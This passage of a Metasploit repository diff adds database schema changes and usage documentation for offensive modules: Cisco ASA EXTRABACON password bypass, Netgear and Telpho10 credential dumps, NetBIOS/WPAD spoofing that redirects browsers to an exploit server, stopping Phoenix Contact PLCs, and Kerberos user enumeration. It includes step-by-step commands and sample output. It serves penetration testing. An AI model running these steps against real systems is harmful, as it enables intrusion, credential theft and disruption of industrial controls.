"module_archs", force: true do |t| + create_table "module_archs", force: :cascade do |t| t.integer "detail_id" t.text "name" end add_index "module_archs", ["detail_id"], name: "index_module_archs_on_detail_id", using: :btree - create_table "module_authors", force: true do |t| + create_table "module_authors", force: :cascade do |t| t.integer "detail_id" t.text "name" t.text "email" @@ -368,7 +369,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "module_authors", ["detail_id"], name: "index_module_authors_on_detail_id", using: :btree - create_table "module_details", force: true do |t| + create_table "module_details", force: :cascade do |t| t.datetime "mtime" t.text "file" t.string "mtype" @@ -391,21 +392,21 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "module_details", ["name"], name: "index_module_details_on_name", using: :btree add_index "module_details", ["refname"], name: "index_module_details_on_refname", using: :btree - create_table "module_mixins", force: true do |t| + create_table "module_mixins", force: :cascade do |t| t.integer "detail_id" t.text "name" end add_index "module_mixins", ["detail_id"], name: "index_module_mixins_on_detail_id", using: :btree - create_table "module_platforms", force: true do |t| + create_table "module_platforms", force: :cascade do |t| t.integer "detail_id" t.text "name" end add_index "module_platforms", ["detail_id"], name: "index_module_platforms_on_detail_id", using: :btree - create_table "module_refs", force: true do |t| + create_table "module_refs", force: :cascade do |t| t.integer "detail_id" t.text "name" end @@ -413,7 +414,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "module_refs", ["detail_id"], name: "index_module_refs_on_detail_id", using: :btree add_index "module_refs", ["name"], name: "index_module_refs_on_name", using: :btree - create_table "module_runs", force: true do |t| + create_table "module_runs", force: :cascade do |t| t.datetime "attempted_at" t.text "fail_detail" t.string "fail_reason" @@ -433,7 +434,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "module_runs", ["session_id"], name: "index_module_runs_on_session_id", using: :btree add_index "module_runs", ["user_id"], name: "index_module_runs_on_user_id", using: :btree - create_table "module_targets", force: true do |t| + create_table "module_targets", force: :cascade do |t| t.integer "detail_id" t.integer "index" t.text "name" @@ -441,7 +442,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "module_targets", ["detail_id"], name: "index_module_targets_on_detail_id", using: :btree - create_table "nexpose_consoles", force: true do |t| + create_table "nexpose_consoles", force: :cascade do |t| t.datetime "created_at", null: false t.datetime "updated_at", null: false t.boolean "enabled", default: true @@ -457,7 +458,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do t.text "name" end - create_table "notes", force: true do |t| + create_table "notes", force: :cascade do |t| t.datetime "created_at" t.string "ntype", limit: 512 t.integer "workspace_id", default: 1, null: false @@ -473,7 +474,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "notes", ["ntype"], name: "index_notes_on_ntype", using: :btree add_index "notes", ["vuln_id"], name: "index_notes_on_vuln_id", using: :btree - create_table "profiles", force: true do |t| + create_table "profiles", force: :cascade do |t| t.datetime "created_at", null: false t.datetime "updated_at", null: false t.boolean "active", default: true @@ -482,7 +483,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do t.binary "settings" end - create_table "refs", force: true do |t| + create_table "refs", force: :cascade do |t| t.integer "ref_id" t.datetime "created_at" t.string "name", limit: 512 @@ -491,7 +492,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "refs", ["name"], name: "index_refs_on_name", using: :btree - create_table "report_templates", force: true do |t| + create_table "report_templates", force: :cascade do |t| t.integer "workspace_id", default: 1, null: false t.string "created_by" t.string "path", limit: 1024 @@ -500,7 +501,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do t.datetime "updated_at", null: false end - create_table "reports", force: true do |t| + create_table "reports", force: :cascade do |t| t.integer "workspace_id", default: 1, null: false t.string "created_by" t.string "rtype" @@ -513,13 +514,13 @@ ActiveRecord::Schema.define(version: 20150514182921) do t.string "name", limit: 63 end - create_table "routes", force: true do |t| + create_table "routes", force: :cascade do |t| t.integer "session_id" t.string "subnet" t.string "netmask" end - create_table "services", force: true do |t| + create_table "services", force: :cascade do |t| t.integer "host_id" t.datetime "created_at" t.integer "port", null: false @@ -536,7 +537,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "services", ["proto"], name: "index_services_on_proto", using: :btree add_index "services", ["state"], name: "index_services_on_state", using: :btree - create_table "session_events", force: true do |t| + create_table "session_events", force: :cascade do |t| t.integer "session_id" t.string "etype" t.binary "command" @@ -546,7 +547,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do t.datetime "created_at" end - create_table "sessions", force: true do |t| + create_table "sessions", force: :cascade do |t| t.integer "host_id" t.string "stype" t.string "via_exploit" @@ -565,7 +566,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "sessions", ["module_run_id"], name: "index_sessions_on_module_run_id", using: :btree - create_table "tags", force: true do |t| + create_table "tags", force: :cascade do |t| t.integer "user_id" t.string "name", limit: 1024 t.text "desc" @@ -576,35 +577,35 @@ ActiveRecord::Schema.define(version: 20150514182921) do t.datetime "updated_at", null: false end - create_table "task_creds", force: true do |t| + create_table "task_creds", force: :cascade do |t| t.integer "task_id", null: false t.integer "cred_id", null: false t.datetime "created_at", null: false t.datetime "updated_at", null: false end - create_table "task_hosts", force: true do |t| + create_table "task_hosts", force: :cascade do |t| t.integer "task_id", null: false t.integer "host_id", null: false t.datetime "created_at", null: false t.datetime "updated_at", null: false end - create_table "task_services", force: true do |t| + create_table "task_services", force: :cascade do |t| t.integer "task_id", null: false t.integer "service_id", null: false t.datetime "created_at", null: false t.datetime "updated_at", null: false end - create_table "task_sessions", force: true do |t| + create_table "task_sessions", force: :cascade do |t| t.integer "task_id", null: false t.integer "session_id", null: false t.datetime "created_at", null: false t.datetime "updated_at", null: false end - create_table "tasks", force: true do |t| + create_table "tasks", force: :cascade do |t| t.integer "workspace_id", default: 1, null: false t.string "created_by" t.string "module" @@ -622,7 +623,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do t.binary "settings" end - create_table "users", force: true do |t| + create_table "users", force: :cascade do |t| t.string "username" t.string "crypted_password" t.string "password_salt" @@ -637,7 +638,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do t.boolean "admin", default: true, null: false end - create_table "vuln_attempts", force: true do |t| + create_table "vuln_attempts", force: :cascade do |t| t.integer "vuln_id" t.datetime "attempted_at" t.boolean "exploited" @@ -649,7 +650,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do t.text "fail_detail" end - create_table "vuln_details", force: true do |t| + create_table "vuln_details", force: :cascade do |t| t.integer "vuln_id" t.float "cvss_score" t.string "cvss_vector" @@ -674,7 +675,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do t.string "nx_pci_compliance_status" end - create_table "vulns", force: true do |t| + create_table "vulns", force: :cascade do |t| t.integer "host_id" t.integer "service_id" t.datetime "created_at" @@ -691,12 +692,12 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "vulns", ["name"], name: "index_vulns_on_name", using: :btree add_index "vulns", ["origin_id"], name: "index_vulns_on_origin_id", using: :btree - create_table "vulns_refs", force: true do |t| + create_table "vulns_refs", force: :cascade do |t| t.integer "ref_id" t.integer "vuln_id" end - create_table "web_forms", force: true do |t| + create_table "web_forms", force: :cascade do |t| t.integer "web_site_id", null: false t.datetime "created_at", null: false t.datetime "updated_at", null: false @@ -708,7 +709,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "web_forms", ["path"], name: "index_web_forms_on_path", using: :btree - create_table "web_pages", force: true do |t| + create_table "web_pages", force: :cascade do |t| t.integer "web_site_id", null: false t.datetime "created_at", null: false t.datetime "updated_at", null: false @@ -728,7 +729,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "web_pages", ["path"], name: "index_web_pages_on_path", using: :btree add_index "web_pages", ["query"], name: "index_web_pages_on_query", using: :btree - create_table "web_sites", force: true do |t| + create_table "web_sites", force: :cascade do |t| t.integer "service_id", null: false t.datetime "created_at", null: false t.datetime "updated_at", null: false @@ -741,13 +742,13 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "web_sites", ["options"], name: "index_web_sites_on_options", using: :btree add_index "web_sites", ["vhost"], name: "index_web_sites_on_vhost", using: :btree - create_table "web_vulns", force: true do |t| + create_table "web_vulns", force: :cascade do |t| t.integer "web_site_id", null: false t.datetime "created_at", null: false t.datetime "updated_at", null: false t.text "path", null: false t.string "method", limit: 1024, null: false - t.text "params", null: false + t.text "params" t.text "pname" t.integer "risk", null: false t.string "name", limit: 1024, null: false @@ -766,7 +767,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "web_vulns", ["name"], name: "index_web_vulns_on_name", using: :btree add_index "web_vulns", ["path"], name: "index_web_vulns_on_path", using: :btree - create_table "wmap_requests", force: true do |t| + create_table "wmap_requests", force: :cascade do |t| t.string "host" t.inet "address" t.integer "port" @@ -783,7 +784,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do t.datetime "updated_at" end - create_table "wmap_targets", force: true do |t| + create_table "wmap_targets", force: :cascade do |t| t.string "host" t.inet "address" t.integer "port" @@ -793,19 +794,20 @@ ActiveRecord::Schema.define(version: 20150514182921) do t.datetime "updated_at" end - create_table "workspace_members", id: false, force: true do |t| + create_table "workspace_members", id: false, force: :cascade do |t| t.integer "workspace_id", null: false t.integer "user_id", null: false end - create_table "workspaces", force: true do |t| + create_table "workspaces", force: :cascade do |t| t.string "name" - t.datetime "created_at", null: false - t.datetime "updated_at", null: false - t.string "boundary", limit: 4096 - t.string "description", limit: 4096 + t.datetime "created_at", null: false + t.datetime "updated_at", null: false + t.string "boundary", limit: 4096 + t.string "description", limit: 4096 t.integer "owner_id" - t.boolean "limit_to_network", default: false, null: false + t.boolean "limit_to_network", default: false, null: false + t.boolean "import_fingerprint", default: false end end diff --git a/documentation/modules/auxiliary/admin/cisco/cisco_asa_extrabacon.md b/documentation/modules/auxiliary/admin/cisco/cisco_asa_extrabacon.md new file mode 100644 index 0000000000..8a2089df68 --- /dev/null +++ b/documentation/modules/auxiliary/admin/cisco/cisco_asa_extrabacon.md @@ -0,0 +1,115 @@ +## General notes + +This is using improved shellcode, has less stages than the Equation Group +version making it more reliable. This makes the SNMP payload packet ~150 less +bytes. Also, the leaked version only supports 8.x, we have it working on 9.x +versions. + +To add more version specific offsets, more details and a Lina file offset +finder are available at: + +https://github.com/RiskSense-Ops/CVE-2016-6366 + +## Partial list of supported versions +------------------------------------------------------------ +All of the leaked versions are available in the module + +- 8.x +- 8.0(2) +- 8.0(3) +- 8.0(3)6 +- 8.0(4) +- 8.0(4)32 +- 8.0(5) +- 8.2(1) +- 8.2(2) +- 8.2(3) +- 8.2(4) +- 8.2(5) +- 8.2(5)33 `*` +- 8.2(5)41 `*` +- 8.3(1) +- 8.3(2) +- 8.3(2)39 `*` +- 8.3(2)40 `*` +- 8.3(2)-npe `*` `**` +- 8.4(1) +- 8.4(2) +- 8.4(3) +- 8.4(4) +- 8.4(4)1 `*` +- 8.4(4)3 `*` +- 8.4(4)5 `*` +- 8.4(4)9 `*` +- 8.4(6)5 `*` +- 8.4(7) `*` +- 9.x +- 9.0(1) `*` +- 9.1(1)4 `*` +- 9.2(1) `*` +- 9.2(2)8 `*` +- 9.2(3) `*` +- 9.2(4) `*` +- 9.2(4)13 `*` + +`*` new version support not part of the original Shadow Brokers leak + +`**` We currently can't distinguish between normal and NPE versions from the SNMP strings. We've commented out the NPE offsets, as NPE is very rare (it is for exporting to places where encryption is crappy), but in the future, we'd like to incorporate these versions. Perhaps as a bool option? + +## Verification + +- Start `msfconsole` +- `use auxiliary/admin/cisco/cisco_asa_extrabacon` +- `set RHOST x.x.x.x` +- `check` +- `run` +- ssh admin@x.x.x.x, you will not need a valid password +- `set MODE pass-enable` +- `run` +- ssh admin@x.x.x.x, ensure fake password does not work + +## Checking for a vulnerable version + +``` +msf > use auxiliary/admin/cisco/cisco_asa_extrabacon +msf auxiliary(cisco_asa_extrabacon) > set rhost 192.168.1.1 +rhost => 192.168.1.1 +msf auxiliary(cisco_asa_extrabacon) > check + +[+] Payload for Cisco ASA version 8.2(1) available! +[*] 192.168.1.1:161 The target appears to be vulnerable. +``` + +## Disabling administrative password + +``` + msf auxiliary(cisco_asa_extrabacon) > set +set ACTION set ConsoleLogging set Prompt set RHOST set TimestampOutput +set CHOST set LogLevel set PromptChar set RPORT set VERBOSE +set COMMUNITY set MODE set PromptTimeFormat set SessionLogging set VERSION +set CPORT set MinimumRank set RETRIES set TIMEOUT set WORKSPACE +msf auxiliary(cisco_asa_extrabacon) > set MODE pass- + set MODE pass-disable set MODE pass-enable +msf auxiliary(cisco_asa_extrabacon) > set MODE pass-disable +MODE => pass-disable +msf auxiliary(cisco_asa_extrabacon) > run + +[*] Building pass-disable payload for version 8.2(1)... + [*] Sending SNMP payload... + [+] Clean return detected! +[!] Don't forget to run pass-enable after logging in! +[*] Auxiliary module execution completed +``` + +## Re-enabling administrative password + +``` +msf auxiliary(cisco_asa_extrabacon) > set MODE pass-enable +MODE => pass-enable +msf auxiliary(cisco_asa_extrabacon) > run + +[*] Building pass-enable payload for version 8.2(1)... + [*] Sending SNMP payload... + [+] Clean return detected! +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/admin/http/netgear_soap_password_extractor.md b/documentation/modules/auxiliary/admin/http/netgear_soap_password_extractor.md new file mode 100644 index 0000000000..d0dbc3cce8 --- /dev/null +++ b/documentation/modules/auxiliary/admin/http/netgear_soap_password_extractor.md @@ -0,0 +1,49 @@ +## Vulnerable Application + +The following list is a non-exhaustive list of vulnerable Netgear devices: +1. R6300v2 < [1.0.3.28](http://kb.netgear.com/app/answers/detail/a_id/28372) +2. WNDR3300 - V1.0.45 (current, confirmed vuln) +3. WNDR3700v1 - 1.0.7.98, 1.0.16.98 (confirmed vuln) +4. WNDR3700v2 - 1.0.1.14 (EOL, confirmed vuln) +5. WNDR3700v4 < [1.0.2.80](http://kb.netgear.com/app/answers/detail/a_id/28355) +6. WNDR3800 - 1.0.0.48 (EOL, confirmed vuln) +7. WNDR4300 < [1.0.2.80](http://kb.netgear.com/app/answers/detail/a_id/28037) +8. WNR1000v2 - 1.0.1.1, 1.1.2.58 (EOL, confirmed vuln) +9. WNR2000v3 < [1.1.2.12](http://kb.netgear.com/app/answers/detail/a_id/30024) +10. WNR2200 < [1.0.1.96](http://kb.netgear.com/app/answers/detail/a_id/28036) +11. WNR2500 < [1.0.0.32](http://kb.netgear.com/app/answers/detail/a_id/28351) + +## Verification Steps + + 1. Start msfconsole + 2. Do: ```use auxiliary/admin/http/netgear_soap_password_extractor``` + 3. Do: ```set rhost ``` + 4. Do: ```run``` + 5. You should get admin info on the device + +## Scenarios + + Example run against wnr2000v3 with firmware 1.1.2.10: + +``` +msf > use auxiliary/admin/http/netgear_soap_password_extractor +msf auxiliary(netgear_soap_password_extractor) > set rhost 192.168.1.1 +rhost => 192.168.1.1 +msf auxiliary(netgear_soap_password_extractor) > run + +[*] Trying to access the configuration of the device +[*] Extracting Firmware version... +[+] Model wnr2000v3 found +[+] Firmware version V1.1.2.10 found +[+] Device details downloaded to: /root/.msf4/loot/20160706212637_default_192.168.1.1_netgear_soap_dev_000157.txt +[*] Extracting credentials... +[*] Credentials found, extracting... +[+] admin / password credentials found +[+] Account details downloaded to: /root/.msf4/loot/20160706212637_default_192.168.1.1_netgear_soap_acc_387111.txt +[*] Extracting Wifi... +[+] Wifi SSID: NETGEAR44 +[+] Wifi Encryption: WPA2-PSK +[*] Extracting WPA Keys... +[+] Wifi Password: netgearpassword22 +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/admin/http/telpho10_credential_dump.md b/documentation/modules/auxiliary/admin/http/telpho10_credential_dump.md new file mode 100644 index 0000000000..88b633173c --- /dev/null +++ b/documentation/modules/auxiliary/admin/http/telpho10_credential_dump.md @@ -0,0 +1,133 @@ +## Vulnerable Application + + Telpho10 v2.6.31 (32-bit Linux ISO image download [here](http://www.telpho.de/downloads/telpho10/telpho10-v2.6.31-SATA.iso)). + + Supporting documentation for this product can be found [here](http://www.telpho.de/downloads.php). + +## Verification Steps + + The following steps will allow you to install and dump the credentials from a Telpho10 instance: + + 1. Download the [Telpho10 ISO image](http://www.telpho.de/downloads/telpho10/telpho10-v2.6.31-SATA.iso) and install in a VM (or on a system) + - note that the ISO will default to a German keyboard layout + - note that the ISO expects a SATA hard drive (not IDE/PATA) for installation + 1. configure the Telpho10's IP address + - edit /etc/networks/interfaces accordingly + 1. Start msfconsole + 1. Do: ```use auxiliary/admin/http/telpho10_credential_dump``` + 1. Do: ```set RHOST ``` + 1. Do: ```run``` + 1. You should see a list of the retrieved Telpho10 credentials + +## Scenarios + + Example output when using this against a Telpho10 v2.6.31 VM: + + ``` +$ ./msfconsole + +# cowsay++ + ____________ +< metasploit > + ------------ + \ ,__, + \ (oo)____ + (__) )\ + ||--|| * + + + =[ metasploit v4.12.36-dev-16fc6c1 ] ++ -- --=[ 1596 exploits - 908 auxiliary - 273 post ] ++ -- --=[ 458 payloads - 39 encoders - 8 nops ] ++ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] + +msf > use auxiliary/admin/http/telpho10_credential_dump +msf auxiliary(telpho10_credential_dump) > set RHOST 10.0.2.35 +RHOST => 10.0.2.35 +msf auxiliary(telpho10_credential_dump) > run + +[*] Generating backup +[*] Downloading backup +[+] File saved in: /home/pbarry/.msf4/loot/20161028155202_default_10.0.2.35_telpho10.backup_185682.tar +[*] Dumping credentials + +[*] Login (/telpho/login.php) +[*] ------------------------- +[+] Username: admin +[+] Password: telpho + +[*] MySQL (/phpmyadmin) +[*] ------------------- +[+] Username: root +[+] Password: telpho + +[*] LDAP (/phpldapadmin) +[*] -------------------- +[+] Username: cn=admin,dc=localdomain +[+] Password: telpho + +[*] Asterisk MI (port 5038) +[*] ----------------------- +[+] Username: telpho +[+] Password: telpho + +[*] Mail configuration +[*] ------------------ +[+] Mailserver: +[+] Username: +[+] Password: +[+] Mail from: + +[*] Online Backup +[*] ------------- +[+] ID: +[+] Password: + +[*] Auxiliary module execution completed +msf auxiliary(telpho10_credential_dump) > +``` + +I navigated my browser to the admin page of the UI and changed some of the password values, then ran the module again to verify I see the updated values: + +``` +msf auxiliary(telpho10_credential_dump) > run + +[*] Generating backup +[*] Downloading backup +[+] File saved in: /home/pbarry/.msf4/loot/20161028161929_default_10.0.2.35_telpho10.backup_044262.tar +[*] Dumping credentials + +[*] Login (/telpho/login.php) +[*] ------------------------- +[+] Username: admin +[+] Password: s3cr3t + +[*] MySQL (/phpmyadmin) +[*] ------------------- +[+] Username: root +[+] Password: telpho + +[*] LDAP (/phpldapadmin) +[*] -------------------- +[+] Username: cn=admin,dc=localdomain +[+] Password: ldaps3cr3t + +[*] Asterisk MI (port 5038) +[*] ----------------------- +[+] Username: telpho +[+] Password: asterisks3cr3t + +[*] Mail configuration +[*] ------------------ +[+] Mailserver: +[+] Username: +[+] Password: +[+] Mail from: + +[*] Online Backup +[*] ------------- +[+] ID: +[+] Password: + +[*] Auxiliary module execution completed + ``` diff --git a/documentation/modules/auxiliary/admin/netbios/netbios_spoof.md b/documentation/modules/auxiliary/admin/netbios/netbios_spoof.md new file mode 100644 index 0000000000..1d05333e0b --- /dev/null +++ b/documentation/modules/auxiliary/admin/netbios/netbios_spoof.md @@ -0,0 +1,122 @@ +netbios_spoof continuously spams NetBIOS responses to a target for given hostname, causing the +target to cache a malicious address for this name. By default, the module will attempt to poison +WPAD, forcing the target system to communicate with a fake server that can be leveraged to steal +sensitive information, or obtain arbitrary code execution. + +## Vulnerable Application + +Windows is the most ideal target because it supports WPAD by default. + +## Options + +**NBADDR** + +The address that the NetBIOS name (NBNAME) should resolve to. + +**NBNAME** + +The NetBIOS name to spoof a reply for. + +**PPSRATE** + +The rate at which to send NetBIOS replies. + +## Scenarios + +**Credential Collection Attack Using Targeted NetBIOS Spoofing:** + +The following example uses http_basic, but other modules (such as http_ntlm) also applies. + +Step 1: Start the first Metasploit instance: + +1. ```rvmsudo ./msfconsole -q``` +2. ```use auxiliary/server/capture/http_basic``` +3. ```set REALM google.com``` +4. ```set URIPATH /``` +5. ```run``` + +Step 2: Start the second Metasploit instance: + +1. ```rvmsudo ./msfconsole -q``` +2. ```use auxiliary/admin/netbios/netbios_spoof``` +3. ```set NBADDR [IP to fake HTTP auth server]``` +4. ```set PPSRATE 30000``` +5. ```set RHOST [Target Host]``` +6. ```run``` + +Step 3: On the victim machine: + +1. Make sure IE automatically detects settings (under LAN settings) +2. Start IE, as soon as it opens, IE should try to authenticate. + +If the spoofed name has already been cached, you can do this to flush. And then next time IE will +be asked for credentials again. + +``` +ipconfig /flushdns +``` + +**Arbitrary Code Execution Using Targeted NetBIOS Spoofing:** + +The following example will spoof WPAD and causes google.com to redirect to an exploit server. + +Step 1: Start the first Metasploit instance: + +1. ```rvmsudo ./msfconsole -q``` +2. ```use auxiliary/server/browser_autopwn2``` +3. ```set SRVPORT 8181``` +4. ```run``` + +Remember the BrowserAutoPwn URL, you will need this info for the proxy configuration file. + +Step 2: Install [Squid](http://www.squid-cache.org/) Proxy server (or [SquidMan](http://squidman.net/squidman/) if you use OS X), and edit the configuration file: + +First, uncomment these settings if they are found in the file: + +* http_access deny all +* http_access deny !Safe_ports +* http_access deny CONNECT !SSL_ports +* http_access deny to_localhost +* http_access deny all +* always_direct deny all + +Second, add the following (make sure the change MyNetwork setting, and update the BrowserAutoPwn +URL field: + +``` +acl MyNetwork src 192.168.1.0/24 +acl BLKSite dstdomain .google.com +deny_info [BrowserAutoPwn URL] all +http_reply_access deny BLKSite all +http_access allow MyNetwork +``` + +Step 3: Start the second Metasploit instance: + +1. ```rvmsudo ./msfconsole -q``` +2. ```use auxiliary/server/wpad``` +3. ```set PROXY [Proxy IP]``` +4. ```set PROXYPORT 8080``` +5. ```run``` + +Step 4: Start the third Metasploit instance: + +1. ```rvmsudo ./msfconsole -q``` +2. ```use auxiliary/admin/netbios/netbios_spoof``` +3. ```set NBADDR [IP to fake HTTP server]``` +4. ```set PPSRATE 30000``` +5. ```set RHOST [Target Host]``` +6. ```run``` + +Step 5: On the victim machine: + +1. Make sure IE automatically detects settings (under LAN settings) +2. Start IE +3. Go to google.com, IE should end up loading the exploit server. + +If the spoofed name has already been cached, you can do this to flush. + +``` +ipconfig /flushdns +``` + diff --git a/documentation/modules/auxiliary/admin/scada/phoenix_command.md b/documentation/modules/auxiliary/admin/scada/phoenix_command.md new file mode 100644 index 0000000000..433ee254b3 --- /dev/null +++ b/documentation/modules/auxiliary/admin/scada/phoenix_command.md @@ -0,0 +1,118 @@ +PhoenixContact Programmable Logic Controllers are built are using a variant of +ProConOS. The communicate using a proprietary protocol over ports TCP/1962 and +TCP/41100 or TCP/20547. This protocol allows a user to remotely determine the +PLC type, firmware and build number on port TCP/1962. A user can also +determine the CPU State (Running or Stopped) and start or stop the CPU. + +This functionality is confirmed for the PLC series ILC 15x and 17x on TCP port +20547, and for the ILC 39x series on TCP port 41100. Other series may or +may not work, but there is a good chance that they will + +## Vulnerable Application + +This is a hardware zero-day vulnerability that CANNOT be patched. Possible +mitigations include: pulling the plug (literally), using network isolation +(Firewall, Router, IDS, IPS, network segmentation, etc...) or not allowing bad +people on your network. + +Most, if not all, PLC's (computers that control engines, robots, conveyor +belts, sensors, camera's, doorlocks, CRACs ...) have vulnerabilities where, +using their own tools, remote configuration and programming can be done +*WITHOUT* authentication. Investigators and underground hackers are just now +creating simple tools to convert the, often proprietary, protocols into simple +scripts. The operating word here is proprietary. Right now, the only thing +stopping very bad stuff from happening. PhoenixContact uses an (unnamed?) +low-level protocol for connection, information exchange and configuration of +its PLC devices. This script utilizes that protocol for finding information +and switching the PLC mode from STOP to RUN and vice-versa. + +## Verification Steps + +The following demonstrates a basic scenario, we "found" two devices with an open port TCP/1962: + +``` +msf > search phoenix +msf > use auxiliary/admin/scada/phoenix_command +msf auxiliary(phoenix_command) > set RHOST 10.66.56.12 +RHOST => 10.66.56.12 +msf auxiliary(phoenix_command) > run + +[*] 10.66.56.12:0 - PLC Type = ILC 150 GSM/GPRS +[*] 10.66.56.12:0 - Firmware = 3.71 +[*] 10.66.56.12:0 - Build = 07/13/11 12:00:00 +[*] 10.66.56.12:0 - ------------------------------------ +[*] 10.66.56.12:0 - --> Detected 15x/17x series, getting current CPU state: +[*] 10.66.56.12:0 - CPU Mode = RUN +[*] 10.66.56.12:0 - ------------------------------------ +[*] 10.66.56.12:0 - --> No action specified (NOOP), stopping here +[*] Auxiliary module execution completed + +msf auxiliary(phoenix_command) > set RHOST 10.66.56.72 +RHOST => 10.66.56.72 +msf auxiliary(phoenix_command) > set ACTION REV +ACTION => REV +msf auxiliary(phoenix_command) > run +[*] 10.66.56.72:0 - PLC Type = ILC 390 PN 2TX-IB +[*] 10.66.56.72:0 - Firmware = 3.95 +[*] 10.66.56.72:0 - Build = 02/14/11 14:04:47 +[*] 10.66.56.72:0 - ------------------------------------ +[*] 10.66.56.72:0 - --> Detected 39x series, getting current CPU state: +[*] 10.66.56.72:0 - CPU Mode = RUN +[*] 10.66.56.72:0 - ------------------------------------ +[*] 10.66.56.72:0 - --> Sending STOP now +[*] 10.66.56.72:0 - CPU Mode = STOP +[*] Auxiliary module execution completed +``` + +## Module Options +``` +msf auxiliary(phoenix_command) > show options + +Module options (auxiliary/admin/scada/phoenix_command): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ACTION NOOP yes PLC CPU action, REV means reverse state (Accepted: STOP, START, REV, NOOP) + RHOST yes The target address + RINFOPORT 1962 yes Set info port + RPORT no Set action port, will try autodetect when not set +``` + +By default, the module only reads out the PLC Type, Firmware version, Build +date and current CPU mode (RUNing or STOPed) + +The first three pieces of data (Type, Firmware & Build) are always found on +port TCP/1962 (there is no way of changing that port on the PLC, so also no +reason to change the 'RINFOPORT' option) + +The CPU mode uses a TCP port depending on the PLC Type, the module will +automatically detect the type and port to use, but can be overridden with the +'RPORT' option, however no real reason to configure it. If you accidentally set RPORT, you can unset it with the ```unset RPORT``` command. + +**The ACTION option** + +Action has four possible values: + +By default, the module will do nothing to the PLC, therefore No Operation or 'NOOP': + +``` +msf auxiliary(phoenix_command) > set ACTION NOOP +``` + +The PLC can be forced to go into STOP mode, meaning it stops all execution and all outputs are set to low: + +``` +msf auxiliary(phoenix_command) > set ACTION STOP +``` + +The PLC can be forced to go into RUN mode, where it keeps running it was or it will start executing its current boot programming: + +``` +msf auxiliary(phoenix_command) > set ACTION START +``` + +The module can also just read out the CPU mode and then reverse whatever it finds, RUN becomes STOP, STOP becomes RUN: + +``` +msf auxiliary(phoenix_command) > set ACTION REV +``` diff --git a/documentation/modules/auxiliary/gather/kerberos_enumusers.md b/documentation/modules/auxiliary/gather/kerberos_enumusers.md new file mode 100644 index 0000000000..25066ce277 --- /dev/null +++ b/documentation/modules/auxiliary/gather/kerberos_enumusers.md @@ -0,0 +1,99 @@ +The kerberos_enumusers module is used to enumerate valid Domain Users +via Kerberos from a wholly unauthenticated perspective. It utilises the +different responses returned by the service to identify users that exist +within the target domain. It is also able to identify whether user +accounts are enabled or disabled/locked out. + +## Target + +To use kerberos_enumusers, make sure you are able to connect to the +Kerberos service on a Domain Controller. + +## Scenario + +The following demonstrates basic usage, using a custom wordlist, +targeting a single Domain Controller to identify valid domain user +accounts. + +``` +msf > use auxiliary/gather/kerberos_enumusers +msf auxiliary(kerberos_enumusers) > set DOMAIN MYDOMAIN +DOMAIN => MYDOMAIN +msf auxiliary(kerberos_enumusers) > set RHOST 192.168.5.1 +RHOST => 192.168.5.1 +msf auxiliary(kerberos_enumusers) > set USER_FILE /job/users.txt +USER_FILE => /job/users.txt +msf auxiliary(kerberos_enumusers) > run + +[*] Validating options... +[*] Using domain: MYDOMAIN... +[*] 192.168.5.1:88 - Testing User: "bob"... +[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional +pre-authentication required +[+] 192.168.5.1:88 - User: "bob" is present +[*] 192.168.5.1:88 - Testing User: "alice"... +[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional +pre-authentication required +[+] 192.168.5.1:88 - User: "alice" is present +[*] 192.168.5.1:88 - Testing User: "matt"... +[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional +pre-authentication required +[+] 192.168.5.1:88 - User: "matt" is present +[*] 192.168.5.1:88 - Testing User: "guest"... +[*] 192.168.5.1:88 - KDC_ERR_CLIENT_REVOKED - Clients credentials have +been revoked +[-] 192.168.5.1:88 - User: "guest" account disabled or locked out +[*] 192.168.5.1:88 - Testing User: "admint"... +[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in +Kerberos database +[*] 192.168.5.1:88 - User: "admint" does not exist +[*] 192.168.5.1:88 - Testing User: "admin"... +[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in +Kerberos database +[*] 192.168.5.1:88 - User: "admin" does not exist +[*] 192.168.5.1:88 - Testing User: "administrator"... +[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in +Kerberos database +[*] 192.168.5.1:88 - User: "administrator" does not exist +[*] Auxiliary module execution completed +msf auxiliary(kerberos_enumusers) > +``` + +## Options + +The kerberos_enumusers module only requires the RHOST, DOMAIN and +USER_FILE options to run. + +**The DOMAIN option** + +This option is used to specify the target domain. If the domain name is +incorrect an error is returned and domain user account enumeration will fail. + +An example of setting DOMAIN: + +``` +set DOMAIN [domain name] +``` + +**The USER_FILE option** + +This option is used to specify the file containing a list of user names +to query the Domain Controller to identify if they exist in the target domain +or not. One per line. + +An example of setting USER_FILE: + +``` +set USER_FILE [path to file] +``` + +**The Timeout option** + +This option is used to specify the TCP timeout i.e. the time to wait 